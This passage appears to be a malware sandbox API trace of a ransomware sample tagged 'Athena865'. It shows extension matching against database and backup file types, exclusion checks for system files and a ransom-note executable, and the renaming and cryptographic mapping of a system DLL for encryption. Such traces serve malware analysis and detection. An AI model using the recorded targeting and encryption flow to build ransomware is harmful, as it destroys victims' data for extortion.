-1 [0092.995] lstrlenW (lpString="fic") returned 3 [0092.995] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0092.995] lstrlenW (lpString="flexolibrary") returned 12 [0092.995] lstrlenW (lpString="fm5") returned 3 [0092.995] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0092.995] lstrlenW (lpString="fmp") returned 3 [0092.995] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0092.995] lstrlenW (lpString="fmp12") returned 5 [0092.995] lstrcmpiW (lpString1="2.dll", lpString2="fmp12") returned -1 [0092.995] lstrlenW (lpString="fmpsl") returned 5 [0092.995] lstrcmpiW (lpString1="2.dll", lpString2="fmpsl") returned -1 [0092.995] lstrlenW (lpString="fol") returned 3 [0092.995] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0092.995] lstrlenW (lpString="fp3") returned 3 [0092.995] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0092.995] lstrlenW (lpString="fp4") returned 3 [0092.995] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0092.995] lstrlenW (lpString="fp5") returned 3 [0092.995] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0092.995] lstrlenW (lpString="fp7") returned 3 [0092.996] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0092.996] lstrlenW (lpString="fpt") returned 3 [0092.996] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0092.996] lstrlenW (lpString="frm") returned 3 [0092.996] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0092.996] lstrlenW (lpString="gdb") returned 3 [0092.996] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0092.996] lstrlenW (lpString="gdb") returned 3 [0092.996] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0092.996] lstrlenW (lpString="grdb") returned 4 [0092.996] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0092.996] lstrlenW (lpString="gwi") returned 3 [0092.996] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0092.996] lstrlenW (lpString="hdb") returned 3 [0092.996] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0092.996] lstrlenW (lpString="his") returned 3 [0092.996] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0092.996] lstrlenW (lpString="ib") returned 2 [0092.996] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0092.996] lstrlenW (lpString="idb") returned 3 [0092.996] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0092.996] lstrlenW (lpString="ihx") returned 3 [0092.996] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0092.996] lstrlenW (lpString="itdb") returned 4 [0092.996] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0092.996] lstrlenW (lpString="itw") returned 3 [0092.996] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0092.996] lstrlenW (lpString="jet") returned 3 [0092.996] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0092.997] lstrlenW (lpString="jtx") returned 3 [0092.997] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0092.997] lstrlenW (lpString="kdb") returned 3 [0092.997] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0092.997] lstrlenW (lpString="kexi") returned 4 [0092.997] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0092.997] lstrlenW (lpString="kexic") returned 5 [0092.997] lstrcmpiW (lpString1="2.dll", lpString2="kexic") returned -1 [0092.997] lstrlenW (lpString="kexis") returned 5 [0092.997] lstrcmpiW (lpString1="2.dll", lpString2="kexis") returned -1 [0092.997] lstrlenW (lpString="lgc") returned 3 [0092.997] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0092.997] lstrlenW (lpString="lwx") returned 3 [0092.997] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0092.997] lstrlenW (lpString="maf") returned 3 [0092.997] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0092.997] lstrlenW (lpString="maq") returned 3 [0092.997] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0092.997] lstrlenW (lpString="mar") returned 3 [0092.997] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0092.997] lstrlenW (lpString="marshal") returned 7 [0092.997] lstrcmpiW (lpString1="b32.dll", lpString2="marshal") returned -1 [0092.997] lstrlenW (lpString="mas") returned 3 [0092.997] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0092.997] lstrlenW (lpString="mav") returned 3 [0092.997] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0092.997] lstrlenW (lpString="maw") returned 3 [0092.997] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0092.997] lstrlenW (lpString="mdbhtml") returned 7 [0092.997] lstrcmpiW (lpString1="b32.dll", lpString2="mdbhtml") returned -1 [0092.998] lstrlenW (lpString="mdn") returned 3 [0092.998] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0092.998] lstrlenW (lpString="mdt") returned 3 [0092.998] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0092.998] lstrlenW (lpString="mfd") returned 3 [0092.998] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0092.998] lstrlenW (lpString="mpd") returned 3 [0092.998] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0092.998] lstrlenW (lpString="mrg") returned 3 [0092.998] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0092.998] lstrlenW (lpString="mud") returned 3 [0092.998] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0092.998] lstrlenW (lpString="mwb") returned 3 [0092.998] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0092.998] lstrlenW (lpString="myd") returned 3 [0092.998] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0092.998] lstrlenW (lpString="ndf") returned 3 [0092.998] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0092.998] lstrlenW (lpString="nnt") returned 3 [0092.998] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0092.998] lstrlenW (lpString="nrmlib") returned 6 [0092.998] lstrcmpiW (lpString1="32.dll", lpString2="nrmlib") returned -1 [0092.998] lstrlenW (lpString="ns2") returned 3 [0092.998] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0092.998] lstrlenW (lpString="ns3") returned 3 [0092.998] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0092.998] lstrlenW (lpString="ns4") returned 3 [0092.998] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0092.998] lstrlenW (lpString="nsf") returned 3 [0092.998] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0092.999] lstrlenW (lpString="nv") returned 2 [0092.999] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0092.999] lstrlenW (lpString="nv2") returned 3 [0092.999] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0092.999] lstrlenW (lpString="nwdb") returned 4 [0092.999] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0092.999] lstrlenW (lpString="nyf") returned 3 [0092.999] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0092.999] lstrlenW (lpString="odb") returned 3 [0092.999] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0092.999] lstrlenW (lpString="odb") returned 3 [0092.999] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0092.999] lstrlenW (lpString="oqy") returned 3 [0092.999] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0092.999] lstrlenW (lpString="ora") returned 3 [0092.999] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0092.999] lstrlenW (lpString="orx") returned 3 [0092.999] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0092.999] lstrlenW (lpString="owc") returned 3 [0092.999] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0092.999] lstrlenW (lpString="p96") returned 3 [0092.999] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0092.999] lstrlenW (lpString="p97") returned 3 [0092.999] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0092.999] lstrlenW (lpString="pan") returned 3 [0092.999] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0092.999] lstrlenW (lpString="pdb") returned 3 [0092.999] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0092.999] lstrlenW (lpString="pdm") returned 3 [0093.000] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0093.000] lstrlenW (lpString="pnz") returned 3 [0093.000] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0093.000] lstrlenW (lpString="qry") returned 3 [0093.000] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0093.000] lstrlenW (lpString="qvd") returned 3 [0093.000] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0093.000] lstrlenW (lpString="rbf") returned 3 [0093.000] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0093.000] lstrlenW (lpString="rctd") returned 4 [0093.000] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0093.000] lstrlenW (lpString="rod") returned 3 [0093.000] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0093.000] lstrlenW (lpString="rodx") returned 4 [0093.000] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0093.000] lstrlenW (lpString="rpd") returned 3 [0093.000] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0093.000] lstrlenW (lpString="rsd") returned 3 [0093.000] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0093.000] lstrlenW (lpString="sas7bdat") returned 8 [0093.000] lstrcmpiW (lpString1="ab32.dll", lpString2="sas7bdat") returned -1 [0093.000] lstrlenW (lpString="sbf") returned 3 [0093.000] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0093.000] lstrlenW (lpString="scx") returned 3 [0093.000] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0093.000] lstrlenW (lpString="sdb") returned 3 [0093.000] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0093.000] lstrlenW (lpString="sdc") returned 3 [0093.000] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0093.000] lstrlenW (lpString="sdf") returned 3 [0093.001] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0093.001] lstrlenW (lpString="sis") returned 3 [0093.001] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0093.001] lstrlenW (lpString="spq") returned 3 [0093.001] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0093.001] lstrlenW (lpString="te") returned 2 [0093.001] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0093.001] lstrlenW (lpString="teacher") returned 7 [0093.001] lstrcmpiW (lpString1="b32.dll", lpString2="teacher") returned -1 [0093.001] lstrlenW (lpString="tmd") returned 3 [0093.001] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0093.001] lstrlenW (lpString="tps") returned 3 [0093.001] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0093.001] lstrlenW (lpString="trc") returned 3 [0093.001] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0093.001] lstrlenW (lpString="trc") returned 3 [0093.001] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0093.001] lstrlenW (lpString="trm") returned 3 [0093.001] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0093.001] lstrlenW (lpString="udb") returned 3 [0093.001] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0093.001] lstrlenW (lpString="udl") returned 3 [0093.001] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0093.001] lstrlenW (lpString="usr") returned 3 [0093.001] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0093.001] lstrlenW (lpString="v12") returned 3 [0093.001] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0093.001] lstrlenW (lpString="vis") returned 3 [0093.001] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0093.001] lstrlenW (lpString="vpd") returned 3 [0093.002] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0093.002] lstrlenW (lpString="vvv") returned 3 [0093.002] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0093.002] lstrlenW (lpString="wdb") returned 3 [0093.002] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0093.002] lstrlenW (lpString="wmdb") returned 4 [0093.002] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0093.002] lstrlenW (lpString="wrk") returned 3 [0093.002] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0093.002] lstrlenW (lpString="xdb") returned 3 [0093.002] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0093.002] lstrlenW (lpString="xld") returned 3 [0093.002] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0093.002] lstrlenW (lpString="xmlff") returned 5 [0093.002] lstrcmpiW (lpString1="2.dll", lpString2="xmlff") returned -1 [0093.002] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Common Files\\System\\wab32.dll.Athena865") returned 62 [0093.002] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files (x86)\\common files\\system\\wab32.dll"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\System\\wab32.dll.Athena865" (normalized: "c:\\program files (x86)\\common files\\system\\wab32.dll.athena865"), dwFlags=0x1) returned 1 [0093.003] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\wab32.dll.Athena865" (normalized: "c:\\program files (x86)\\common files\\system\\wab32.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0093.003] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=708608) returned 1 [0093.003] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0093.003] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0093.003] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518d60 [0093.004] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518bc8) returned 1 [0093.004] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0093.004] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0093.004] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xad300, lpName=0x0) returned 0x154 [0093.006] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xad300) returned 0x2d50000 [0093.038] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518bc8) returned 1 [0093.039] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0093.039] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0093.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0093.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0093.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0093.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0093.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0093.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0093.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0093.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0093.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0093.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0093.039] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0093.045] CloseHandle (hObject=0x154) returned 1 [0093.046] CloseHandle (hObject=0x17c) returned 1 [0093.046] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0093.046] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518d60 | out: hHeap=0x4f0000) returned 1 [0093.046] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0093.049] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4d923a, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8d4d923a, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xf37f6470, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 1 [0093.049] lstrcmpiW (lpString1="wab32res.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0093.049] lstrcmpiW (lpString1="wab32res.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0093.049] lstrcmpiW (lpString1="wab32res.dll", lpString2=".") returned 1 [0093.049] lstrcmpiW (lpString1="wab32res.dll", lpString2="..") returned 1 [0093.049] lstrcmpiW (lpString1="wab32res.dll", lpString2="windows") returned -1 [0093.049] lstrcmpiW (lpString1="wab32res.dll", lpString2="bootmgr") returned 1 [0093.049] lstrcmpiW (lpString1="wab32res.dll", lpString2="temp") returned 1 [0093.049] lstrcmpiW (lpString1="wab32res.dll", lpString2="pagefile.sys") returned 1 [0093.049] lstrcmpiW (lpString1="wab32res.dll", lpString2="boot") returned 1 [0093.049] lstrcmpiW (lpString1="wab32res.dll", lpString2="ids.txt") returned 1 [0093.049] lstrcmpiW (lpString1="wab32res.dll", lpString2="ntuser.dat") returned 1 [0093.049] lstrcmpiW (lpString1="wab32res.dll", lpString2="perflogs") returned 1 [0093.049] lstrcmpiW (lpString1="wab32res.dll", lpString2="MSBuild") returned 1 [0093.049] lstrlenW (lpString="wab32res.dll") returned 12 [0093.049] lstrcpyW (in: lpString1=0x241e89e, lpString2="wab32res.dll" | out: lpString1="wab32res.dll") returned="wab32res.dll" [0093.049] lstrlenW (lpString="wab32res.dll") returned 12 [0093.049] lstrlenW (lpString="Athena865") returned 9 [0093.049] lstrcmpiW (lpString1="32res.dll", lpString2="Athena865") returned -1 [0093.049] lstrlenW (lpString=".dll") returned 4 [0093.049] lstrcmpiW (lpString1="wab32res.dll", lpString2=".dll") returned 1 [0093.049] lstrlenW (lpString=".lnk") returned 4 [0093.049] lstrcmpiW (lpString1="wab32res.dll", lpString2=".lnk") returned 1 [0093.049] lstrlenW (lpString=".ini") returned 4 [0093.049] lstrcmpiW (lpString1="wab32res.dll", lpString2=".ini") returned 1 [0093.049] lstrlenW (lpString=".sys") returned 4 [0093.050] lstrcmpiW (lpString1="wab32res.dll", lpString2=".sys") returned 1 [0093.050] lstrlenW (lpString="wab32res.dll") returned 12 [0093.050] lstrlenW (lpString="bak") returned 3 [0093.050] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0093.050] lstrlenW (lpString="ba_") returned 3 [0093.050] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0093.050] lstrlenW (lpString="dbb") returned 3 [0093.050] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0093.050] lstrlenW (lpString="vmdk") returned 4 [0093.050] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0093.050] lstrlenW (lpString="rar") returned 3 [0093.050] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0093.050] lstrlenW (lpString="zip") returned 3 [0093.050] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0093.050] lstrlenW (lpString="tgz") returned 3 [0093.050] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0093.050] lstrlenW (lpString="vbox") returned 4 [0093.050] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0093.050] lstrlenW (lpString="vdi") returned 3 [0093.050] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0093.050] lstrlenW (lpString="vhd") returned 3 [0093.050] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0093.050] lstrlenW (lpString="vhdx") returned 4 [0093.050] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0093.050] lstrlenW (lpString="avhd") returned 4 [0093.050] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0093.050] lstrlenW (lpString="db") returned 2 [0093.050] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0093.050] lstrlenW (lpString="db2") returned 3 [0093.051] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0093.051] lstrlenW (lpString="db3") returned 3 [0093.051] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0093.051] lstrlenW (lpString="dbf") returned 3 [0093.051] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0093.051] lstrlenW (lpString="mdf") returned 3 [0093.051] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0093.051] lstrlenW (lpString="mdb") returned 3 [0093.051] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0093.051] lstrlenW (lpString="sql") returned 3 [0093.051] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0093.051] lstrlenW (lpString="sqlite") returned 6 [0093.051] lstrcmpiW (lpString1="es.dll", lpString2="sqlite") returned -1 [0093.051] lstrlenW (lpString="sqlite3") returned 7 [0093.051] lstrcmpiW (lpString1="res.dll", lpString2="sqlite3") returned -1 [0093.051] lstrlenW (lpString="sqlitedb") returned 8 [0093.051] lstrcmpiW (lpString1="2res.dll", lpString2="sqlitedb") returned -1 [0093.051] lstrlenW (lpString="xml") returned 3 [0093.051] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0093.051] lstrlenW (lpString="$er") returned 3 [0093.051] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0093.051] lstrlenW (lpString="4dd") returned 3 [0093.051] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0093.051] lstrlenW (lpString="4dl") returned 3 [0093.051] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0093.051] lstrlenW (lpString="^^^") returned 3 [0093.051] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0093.051] lstrlenW (lpString="abs") returned 3 [0093.051] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0093.052] lstrlenW (lpString="abx") returned 3 [0093.052] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0093.052] lstrlenW (lpString="accdb") returned 5 [0093.052] lstrcmpiW (lpString1="s.dll", lpString2="accdb") returned 1 [0093.052] lstrlenW (lpString="accdc") returned 5 [0093.052] lstrcmpiW (lpString1="s.dll", lpString2="accdc") returned 1 [0093.052] lstrlenW (lpString="accde") returned 5 [0093.052] lstrcmpiW (lpString1="s.dll", lpString2="accde") returned 1 [0093.052] lstrlenW (lpString="accdr") returned 5 [0093.052] lstrcmpiW (lpString1="s.dll", lpString2="accdr") returned 1 [0093.052] lstrlenW (lpString="accdt") returned 5 [0093.052] lstrcmpiW (lpString1="s.dll", lpString2="accdt") returned 1 [0093.052] lstrlenW (lpString="accdw") returned 5 [0093.052] lstrcmpiW (lpString1="s.dll", lpString2="accdw") returned 1 [0093.052] lstrlenW (lpString="accft") returned 5 [0093.052] lstrcmpiW (lpString1="s.dll", lpString2="accft") returned 1 [0093.052] lstrlenW (lpString="adb") returned 3 [0093.052] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0093.052] lstrlenW (lpString="adb") returned 3 [0093.052] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0093.052] lstrlenW (lpString="ade") returned 3 [0093.052] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0093.052] lstrlenW (lpString="adf") returned 3 [0093.052] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0093.052] lstrlenW (lpString="adn") returned 3 [0093.052] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0093.052] lstrlenW (lpString="adp") returned 3 [0093.052] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0093.052] lstrlenW (lpString="alf") returned 3 [0093.053] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0093.053] lstrlenW (lpString="ask") returned 3 [0093.053] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0093.053] lstrlenW (lpString="btr") returned 3 [0093.053] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0093.053] lstrlenW (lpString="cat") returned 3 [0093.053] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0093.053] lstrlenW (lpString="cdb") returned 3 [0093.053] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0093.053] lstrlenW (lpString="ckp") returned 3 [0093.053] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0093.053] lstrlenW (lpString="cma") returned 3 [0093.053] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0093.053] lstrlenW (lpString="cpd") returned 3 [0093.053] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0093.053] lstrlenW (lpString="dacpac") returned 6 [0093.053] lstrcmpiW (lpString1="es.dll", lpString2="dacpac") returned 1 [0093.053] lstrlenW (lpString="dad") returned 3 [0093.053] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0093.053] lstrlenW (lpString="dadiagrams") returned 10 [0093.053] lstrcmpiW (lpString1="b32res.dll", lpString2="dadiagrams") returned -1 [0093.053] lstrlenW (lpString="daschema") returned 8 [0093.053] lstrcmpiW (lpString1="2res.dll", lpString2="daschema") returned -1 [0093.053] lstrlenW (lpString="db-journal") returned 10 [0093.053] lstrcmpiW (lpString1="b32res.dll", lpString2="db-journal") returned -1 [0093.053] lstrlenW (lpString="db-shm") returned 6 [0093.053] lstrcmpiW (lpString1="es.dll", lpString2="db-shm") returned 1 [0093.053] lstrlenW (lpString="db-wal") returned 6 [0093.053] lstrcmpiW (lpString1="es.dll", lpString2="db-wal") returned 1 [0093.054] lstrlenW (lpString="dbc") returned 3 [0093.054] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0093.054] lstrlenW (lpString="dbs") returned 3 [0093.054] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0093.054] lstrlenW (lpString="dbt") returned 3 [0093.054] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0093.054] lstrlenW (lpString="dbv") returned 3 [0093.054] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0093.054] lstrlenW (lpString="dbx") returned 3 [0093.054] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0093.054] lstrlenW (lpString="dcb") returned 3 [0093.054] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0093.054] lstrlenW (lpString="dct") returned 3 [0093.054] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0093.054] lstrlenW (lpString="dcx") returned 3 [0093.054] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0093.054] lstrlenW (lpString="ddl") returned 3 [0093.054] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0093.054] lstrlenW (lpString="dlis") returned 4 [0093.054] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0093.054] lstrlenW (lpString="dp1") returned 3 [0093.054] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0093.054] lstrlenW (lpString="dqy") returned 3 [0093.054] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0093.054] lstrlenW (lpString="dsk") returned 3 [0093.054] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0093.054] lstrlenW (lpString="dsn") returned 3 [0093.055] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0093.055] lstrlenW (lpString="dtsx") returned 4 [0093.055] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0093.055] lstrlenW (lpString="dxl") returned 3 [0093.055] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0093.055] lstrlenW (lpString="eco") returned 3 [0093.055] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0093.055] 